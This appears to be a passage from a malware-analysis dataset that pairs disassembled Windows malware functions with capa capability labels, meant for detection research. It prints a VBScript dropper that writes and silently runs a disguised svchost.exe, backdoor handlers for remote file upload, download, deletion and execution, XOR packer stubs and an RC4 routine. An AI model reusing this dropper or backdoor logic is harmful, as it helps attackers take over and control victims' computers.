joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b041
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push str.disable
push str.SoftwareWASAntidot
push dword [0x1000f479]
call fcn.10003242
or eax, eax
jne 0x1000b1b9
call sub.kernel32.dll_GetTickCount
push eax
call fcn.1000d7ba
push 0
pop dword [0x1000faa3]
push str.Imagehlp.dll
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1000fa8c], eax
cmp dword [0x1000fa8c], 0
je 0x1000b0a4
push 0x1000fa90
push dword [0x1000fa8c]
call sub.kernel32.dll_GetProcAddress
mov dword [0x1000faa3], eax
push dword [ebp + 8]
push 0x1000fa3d
call fcn.10003a4d
push dword [ebp + 8]
push 0x1000fa41
call fcn.10003a4d
push 0x1000fa41
call fcn.10003856
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], eax
or eax, eax
je 0x1000b15e
shl eax, 1
add eax, 0x4b
mov edx, eax
push 0x4b
push str._SCRIPT_LanguageVBScript______r_nDropFileName___svchost.exe__r_nWriteData_____r_nSet_FSO__CreateObject__Scripting.FileSystemObject___r_nDropPath__FSO.GetSpecialFolder_2_______DropFileName_r_nIf_FSO.FileExists_DropPath_False_Then_r_nSet_FileObj__FSO.CreateTextFile_DropPath__True__r_nFor_i__1_To_Len_WriteData__Step_2_r_nFileObj.Write_Chr_CLng__H___Mid_WriteData_i_2____r_nNext_r_nFileObj.Close_r_nEnd_If_r_nSet_WSHshell__CreateObject__WScript.Shell___r_nWSHshell.Run_DropPath__0_r_n_______SCRIPT________RmN
push 0x1000fa45
call fcn.10003776
push edx
push 0x1000fa45
call fcn.10003961
or eax, eax
je 0x1000b124
push 0x1000fa45
call fcn.10003856
or edx, edx
je 0x1000b124
mov esi, edx
add esi, 0x4b
push esi
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.10002b88
push 0x19b
push 0x1000fafc
push 0x1000fa45
call fcn.10003776
push dword [0x1000ae17]
push 0x1000ae1b
call fcn.10002bd4
push dword [0x1000ae17]
push 0x1000ae1b
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.10003024
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 4
push 0
push 0x1000a485
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp - 8], eax
push 0xfffffffffffffff1
push dword [ebp - 8]
call sub.kernel32.dll_SetThreadPriority
push dword [ebp - 8]
call sub.kernel32.dll_ResumeThread
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000a49f
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x1000b1cc
push 0x40
push str.Antidot_is_activate
push str.Antidot_is_activate
push 0
call sub.user32.dll_MessageBoxA
leave
ret 4
Function at 0x1000b38d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov ecx, dword [ebp + 0x14]
mov eax, dword [ecx + 0x1c]
or eax, eax
je 0x1000b3fd
mov edx, dword [ebp + 8]
mov dword [ecx + 0x34], edx
cmp eax, 2
jne 0x1000b40a
mov eax, dword [ecx + 0x28]
or eax, eax
je 0x1000b3c9
lea eax, [ecx + 0x28]
push eax
call fcn.1000b8d9
push str.451_Failed:_Cannot_build_data_connection.
push dword [ebp + 0xc]
call fcn.1000c98f
leave
ret 0x10
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x14]
push 0x1000b40e
push 0
push 0
call sub.kernel32.dll_CreateThread
or eax, eax
jne 0x1000b3f5
push str.451_Requested_action_aborted:_local_error_in_processing.
push dword [ebp + 0xc]
call fcn.1000c98f
jmp 0x1000b40a
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x1000b40a
push str.550_No_port_specified.
push dword [ebp + 0xc]
call fcn.1000c98f
leave
ret 0x10

Function at 0x1000b56a
Capabilities:
Create tcp socket
Create thread
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
mov eax, dword [ebp + 0x10]
lea eax, [eax + 0x2c]
push eax
call fcn.1000b8d9
mov eax, dword [ebp + 0x10]
lea eax, [eax + 0x28]
push eax
call fcn.1000b8d9
push 0
push 1
push 2
call sub.ws2_32.dll_socket
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x1000b6a1
mov word [ebp - 0x10], 2
mov dword [ebp - 0xc], 0
mov word [ebp - 0xe], 0
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call sub.ws2_32.dll_bind
test eax, eax
jne 0x1000b6a1
mov dword [ebp - 0x120], 0x10
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call sub.ws2_32.dll_getsockname
test eax, eax
jne 0x1000b6a1
xor ecx, ecx
mov cx, word [ebp - 0xe]
test cx, cx
je 0x1000b5cb
mov eax, dword [ebp + 0x10]
mov dword [eax + 0x30], ecx
mov ecx, dword [ebp - 0x14]
mov dword [eax + 0x2c], ecx
mov dword [eax + 0x1c], 1
lea eax, [ebp - 0x124]
push eax
push 0
push dword [ebp + 0x10]
push 0x1000b6d4
push 0
push 0
call sub.kernel32.dll_CreateThread
test eax, eax
je 0x1000b6a1
push eax
call sub.kernel32.dll_CloseHandle
mov dword [ebp - 0x120], 0x10
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call sub.ws2_32.dll_getsockname
test eax, eax
jne 0x1000b6a1
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, al
push ecx
mov cl, ah
push ecx
shr eax, 0x10
mov cl, al
push ecx
mov cl, ah
push ecx
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0x30]
mov cl, al
push ecx
mov cl, ah
push ecx
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
push edi
push esi
push edx
push ecx
push ebx
push eax
push str.227_Entering_Passive_Mode___i__i__i__i__i__i_.
push dword [ebp + 0xc]
call sub.user32.dll_wsprintfA
add esp, 0x20
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000c98f
xor eax, eax
inc eax
leave
ret 0xc
push dword [ebp - 0x14]
call sub.ws2_32.dll_closesocket
mov eax, dword [ebp + 0x10]
mov dword [eax + 0x30], 0
mov dword [eax + 0x2c], 0
mov dword [eax + 0x1c], 0
push str.451_Requested_action_aborted:_local_error_in_processing.
push dword [ebp + 8]
call fcn.1000c98f
xor eax, eax
leave
ret 0xc
Function at 0x1000bbe7
Capabilities:
Get file size
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 0x38]
inc eax
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000bcae
mov dword [ebp - 4], eax
push 0
push eax
call sub.kernel32.dll_GetFileSize
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0x10]
sub eax, edx
mov dword [ebp - 8], eax
mov dword [ecx + 0x10], 0
push 0
push 0
push edx
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
cmp eax, 0xffffffff
je 0x1000bca6
jmp 0x1000bc87
cmp dword [ebp - 8], 0x800
jae 0x1000bc54
mov ecx, dword [ebp - 8]
jmp 0x1000bc59
mov ecx, 0x800
sub dword [ebp - 8], ecx
push ecx
push 0
lea eax, [ebp - 0xc]
push eax
push ecx
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
pop ecx
test eax, eax
je 0x1000bca6
push 0
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
je 0x1000bca6
cmp dword [ebp - 8], 0
jne 0x1000bc46
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push str.226_Transfer_ok
push dword [ebp + 8]
call fcn.1000c98f
leave
ret 0x10
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push str.426_Cannot_retrieve._Failed._Aborting.
push dword [ebp + 8]
call fcn.1000c98f
leave
ret 0x10

Function at 0x1000bcbf
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 0x38]
inc eax
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000bd79
mov dword [ebp - 4], eax
cmp dword [ebp + 0x18], 0
je 0x1000bd06
push 2
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
jmp 0x1000bd25
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x10]
mov dword [eax + 0x10], 0
push 0
push 0
push ecx
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
cmp eax, 0xffffffff
je 0x1000bd71
push 0
push 0x800
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.ws2_32.dll_recv
test eax, eax
je 0x1000bd58
cmp eax, 0xffffffff
je 0x1000bd58
lea ecx, [ebp - 8]
push 0
push ecx
push eax
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
test eax, eax
je 0x1000bd71
jmp 0x1000bd25
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push str.226_Transfer_ok
push dword [ebp + 8]
call fcn.1000c98f
leave
ret 0x14
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push str.426_Cannot_retrieve._Failed._Aborting.
push dword [ebp + 8]
call fcn.1000c98f
leave
ret 0x14
Function at 0x1000bd8a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp byte [eax], 0x2f
jne 0x1000bdc8
cmp byte [eax + 1], 0
jne 0x1000bda9
mov eax, dword [ebp + 0x10]
mov word [eax], 0x2f
je 0x1000be44
push eax
call sub.kernel32.dll_lstrlenA
inc eax
cmp eax, 0x400
jge 0x1000be50
push dword [ebp + 8]
push dword [ebp + 0x10]
call sub.kernel32.dll_lstrcpyA
jmp 0x1000be00
mov eax, dword [ebp + 0xc]
push dword [eax + 0x18]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrlenA
pop ecx
add eax, ecx
inc eax
cmp eax, 0x400
jge 0x1000be50
mov eax, dword [ebp + 0xc]
push dword [eax + 0x18]
push dword [ebp + 0x10]
call sub.kernel32.dll_lstrcpyA
push dword [ebp + 8]
push dword [ebp + 0x10]
call sub.kernel32.dll_lstrcatA
cmp dword [ebp + 0x14], 0
je 0x1000be44
mov eax, dword [ebp + 0x10]
inc eax
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x1000be50
and eax, 0x10
mov ecx, dword [ebp + 0x18]
or eax, eax
je 0x1000be3e
mov dword [ecx], 1
push dword [ebp + 0x10]
call sub.kernel32.dll_lstrlenA
dec eax
add eax, dword [ebp + 0x10]
cmp byte [eax], 0x2f
je 0x1000be44
mov word [eax + 1], 0x2f
jmp 0x1000be44
mov dword [ecx], 0
push dword [ebp + 0x10]
call sub.kernel32.dll_lstrlenA
leave
ret 0x14
xor eax, eax
leave
ret 0x14

Function at 0x1000bf8e
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp + 0x10]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.1000bd8a
or eax, eax
je 0x1000bfdf
cmp dword [ebp - 4], 0
jne 0x1000bfdf
inc dword [ebp + 0x10]
push dword [ebp + 0x10]
call sub.kernel32.dll_DeleteFileA
or eax, eax
je 0x1000bfd0
push str.250_File_deleted_successfully.
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000bfec
push str.451_Requested_action_aborted:_local_error_in_processing.
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000bfec
push str.550_No_such_file_or_directory.
push dword [ebp + 8]
call fcn.1000c98f
leave
ret 0x10

Function at 0x1000bff0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.1000bd8a
or eax, eax
je 0x1000c03d
inc dword [ebp + 0x10]
push 0
push dword [ebp + 0x10]
call sub.kernel32.dll_CreateDirectoryA
or eax, eax
je 0x1000c02e
push str.257_directory_created.
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000c04a
push str.451_Requested_action_aborted:_local_error_in_processing.
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000c04a
push str.451_Requested_action_aborted:_local_error_in_processing.
push dword [ebp + 8]
call fcn.1000c98f
leave
ret 0x10
Function at 0x1000c04e
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp + 0x10]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.1000bd8a
or eax, eax
je 0x1000c09f
cmp dword [ebp - 4], 1
jne 0x1000c09f
inc dword [ebp + 0x10]
push dword [ebp + 0x10]
call sub.kernel32.dll_RemoveDirectoryA
or eax, eax
je 0x1000c090
push str.250_Directory_removed.
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000c0ac
push str.451_Requested_action_aborted:_local_error_in_processing.
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000c0ac
push str.550_No_such_file_or_directory.
push dword [ebp + 8]
call fcn.1000c98f
leave
ret 0x10

Function at 0x1000c0b0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0x400
call fcn.1000b378
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp - 8]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.1000bd8a
or eax, eax
je 0x1000c10d
inc dword [ebp + 0x10]
mov eax, dword [ebp - 8]
inc eax
push eax
push dword [ebp + 0x10]
call sub.kernel32.dll_MoveFileA
or eax, eax
je 0x1000c0fe
push str.250_File_renamed_successfully.
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000c11a
push str.451_Requested_action_aborted:_local_error_in_processing.
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000c11a
push str.451_Requested_action_aborted:_local_error_in_processing.
push dword [ebp + 8]
call fcn.1000c98f
push dword [ebp - 8]
call sub.kernel32.dll_GlobalFree
leave
ret 0x10

Function at 0x1000c126
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp + 0x10]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.1000bd8a
or eax, eax
je 0x1000c182
cmp dword [ebp - 4], 0
jne 0x1000c182
inc dword [ebp + 0x10]
push 1
push 0
push 0
push dword [ebp + 0x10]
push 0
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
jbe 0x1000c173
push str.250_File_executed_successfully.
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000c18f
push str.451_Requested_action_aborted:_local_error_in_processing.
push dword [ebp + 8]
call fcn.1000c98f
jmp 0x1000c18f
push str.550_No_such_file_or_directory.
push dword [ebp + 8]
call fcn.1000c98f
leave
ret 0x10

Function at 0x1000c1e7
Capabilities:
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push 6
push 1
push 2
call sub.ws2_32.dll_socket
cmp eax, 0xffffffff
je 0x1000c235
mov dword [ebp - 4], eax
mov word [ebp - 0x14], 2
push dword [ebp + 8]
call sub.ws2_32.dll_htons
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call sub.ws2_32.dll_bind
test eax, eax
jne 0x1000c23c
push 5
push dword [ebp - 4]
call sub.ws2_32.dll_listen
mov eax, dword [ebp - 4]
leave
ret 4
push dword [ebp - 4]
call sub.ws2_32.dll_closesocket
mov eax, 0xffffffff
leave
ret 4
Function at 0x1000c98f
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call sub.kernel32.dll_lstrlenA
push eax
inc eax
inc eax
push eax
call fcn.1000b378
mov dword [ebp - 4], eax
push eax
push dword [ebp + 0xc]
push eax
call sub.kernel32.dll_lstrcpyA
pop eax
pop ecx
mov word [ecx + eax], 0xa0d
inc ecx
inc ecx
push 0
push ecx
push dword [ebp - 4]
push dword [ebp + 8]
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
jne 0x1000c9d8
push dword [ebp + 8]
call sub.ws2_32.dll_closesocket
push dword [ebp - 4]
call sub.kernel32.dll_GlobalFree
leave
ret 8

Function at 0x1000ccb1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0x10011f54
push 0x10011fd4
push dword [0x1000f014]
push dword [0x1000f400]
call fcn.10005d32
cmp eax, 0xffffffff
je 0x1000cd20
mov dword [ebp - 4], eax
push dword [0x1000f9cb]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.100060f4
cmp eax, 1
jne 0x1000cd17
push 0
pop dword [ebp - 8]
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp - 4]
push 0x1000cc99
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x1000cd20
lea eax, [ebp - 4]
push eax
call fcn.1000667f
leave
ret 8

Function at 0x1000cd3d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
push 0x1000cd24
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
leave
ret 4

Function at 0x1000cd69
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push edx
push ecx
push edi
push esi
cmp dword [0x1000f4b9], 0
je 0x1000ce81
push dword [ebp + 8]
call fcn.10003856
cmp eax, 0x24
jbe 0x1000ce81
or edx, edx
je 0x1000ce81
add edx, eax
sub edx, 0x24
push edx
call fcn.10007e42
cmp eax, 1
jne 0x1000ce81
mov ecx, 0x78
cmp dword [0x1000f4b5], 0xffffffff
jne 0x1000cdca
push ecx
push 0x3e8
call sub.kernel32.dll_Sleep
pop ecx
loop 0x1000cdb3
cmp ecx, 0
je 0x1000ce81
push 0
push 0
push 0
push dword [0x1000f4b5]
call sub.kernel32.dll_SetFilePointer
push dword [0x1000f4b5]
call sub.kernel32.dll_SetEndOfFile
push dword [ebp + 8]
call fcn.10003856
mov ebx, eax
push 0
lea eax, [ebp - 8]
push eax
push ebx
push edx
push dword [0x1000f4b5]
call sub.kernel32.dll_WriteFile
lea eax, [ebp - 0x48]
push eax
push 0
push 0xad0
call fcn.10002e75
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp - 0x48]
push eax
call fcn.10002fde
push dword [0x1000f408]
call fcn.100053e7
lea eax, [ebp - 4]
push eax
call fcn.10002fba
push 1
push 0x100115d5
call fcn.1000b2e1
push 0x1000f3f4
call fcn.10002fba
push 0x1000f3f8
call fcn.10002fba
push dword [0x1000f4b5]
call sub.kernel32.dll_CloseHandle
push dword [0x1000f4b9]
call fcn.10004451
call fcn.1000d378
push 0
call sub.kernel32.dll_ExitProcess
mov eax, 0
pop esi
pop edi
pop ecx
pop edx
pop ebx
leave
ret 4
Function at 0x1000d388
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff64
cmp dword [ebp + 0xc], 1
jne 0x1000d536
lea eax, [ebp - 0x48]
push eax
push 0
push 0x7f3
call fcn.10002e75
push 0x1000f3f8
push 0
lea eax, [ebp - 0x48]
push eax
call fcn.10002fde
cmp eax, 1
jne 0x1000d528
mov dword [ebp - 0x8c], 0
lea eax, [ebp - 0x99]
push eax
push 8
push 0x911
call fcn.10002dc3
push 1
lea eax, [ebp - 0x99]
push eax
push dword [ebp + 0x10]
call fcn.1000362f
or eax, eax
je 0x1000d402
push dword [ebp + 0x10]
pop dword [ebp - 0x8c]
mov dword [ebp + 0x10], eax
call sub.kernel32.dll_GetCurrentProcessId
mov ebx, eax
lea eax, [ebp - 0x88]
push eax
push ebx
push 0x1401
call fcn.10002e75
push 0x1000f3f4
push 0
lea eax, [ebp - 0x88]
push eax
call fcn.10002fde
push dword [ebp + 0x10]
pop dword [0x1000f4b9]
call fcn.1000d1cb
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000ca82
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000cc7b
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
cmp dword [0x1000f00c], 1
jne 0x1000d4a8
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x10007df5
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000c193
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000ce8f
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push dword [0x1000f4b9]
call fcn.1000b041
cmp dword [0x1000f4b9], 0
je 0x1000d51f
push dword [0x1000f4b9]
call fcn.10004433
cmp eax, 0xffffffff
jne 0x1000d51a
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x1000d4fe
mov dword [0x1000f4b5], eax
push 0xffffffffffffffff
call sub.kernel32.dll_Sleep
jmp 0x1000d52f
push 0
call sub.kernel32.dll_ExitProcess
mov eax, 1
jmp 0x1000d551
cmp dword [ebp + 0xc], 0
jne 0x1000d543
call fcn.1000d378
jmp 0x1000d551
cmp dword [ebp + 0xc], 2
jne 0x1000d54b
jmp 0x1000d551
cmp dword [ebp + 0xc], 3
jne 0x1000d551
leave
ret 0xc
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x254c29de
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x2a3d75a0
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0xfe5f34
Capabilities:
Encode data using xor

Disassembly:
jmp 0xfe5f3e
pushal
call 0xfe5f44
pop ebp
sub ebp, 0x10
sub ebp, 0xbe5f34
jmp 0xfe5f5a
mov eax, 0xbe5f34
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bf
mov edx, 0x8bc17aab
xor byte [eax], dl
inc eax
dec ecx
jne 0xfe5f71
jmp 0xfe5f84
and byte [esi + 0x20], ah
and dl, byte [edi + 0x2aababab]
push 0x53
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
test al, 0x66
adc ebp, dword [ebp + 0x11ababab]
sub dword [ebx + 0x495cabab], 0xffffffa8
arpl word [eax], sp
sub ah, byte [edi - 0x57545455]
outsb dx, byte [esi]
iretd
Function at 0x404d60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448d35
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x466124]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x46732c
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.004242f0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x466cb4
push eax
call fcn.004242f0
mov esi, dword [0x46733c]
xor ebx, ebx
mov edi, dword [0x467340]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x469ac8], bl
mov eax, ebx
mov ecx, 0x46732c
cmovae ecx, dword [0x46732c]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x469bd8], al
inc ebx
cmp ebx, 0x100
jl 0x404de0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x469ac8]
movzx eax, byte [esi + 0x469bd8]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x404e34
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x469ac8]
mov byte [esi + 0x469ac8], al
inc esi
mov byte [edi + 0x469ac8], dl
cmp esi, 0x100
jl 0x404e10
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00404a40
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x404e89
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404e7f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404edf
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x404ecb
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404ec1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404edf
push edx
push ecx
call fcn.0042a0d6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0042f0c9
int3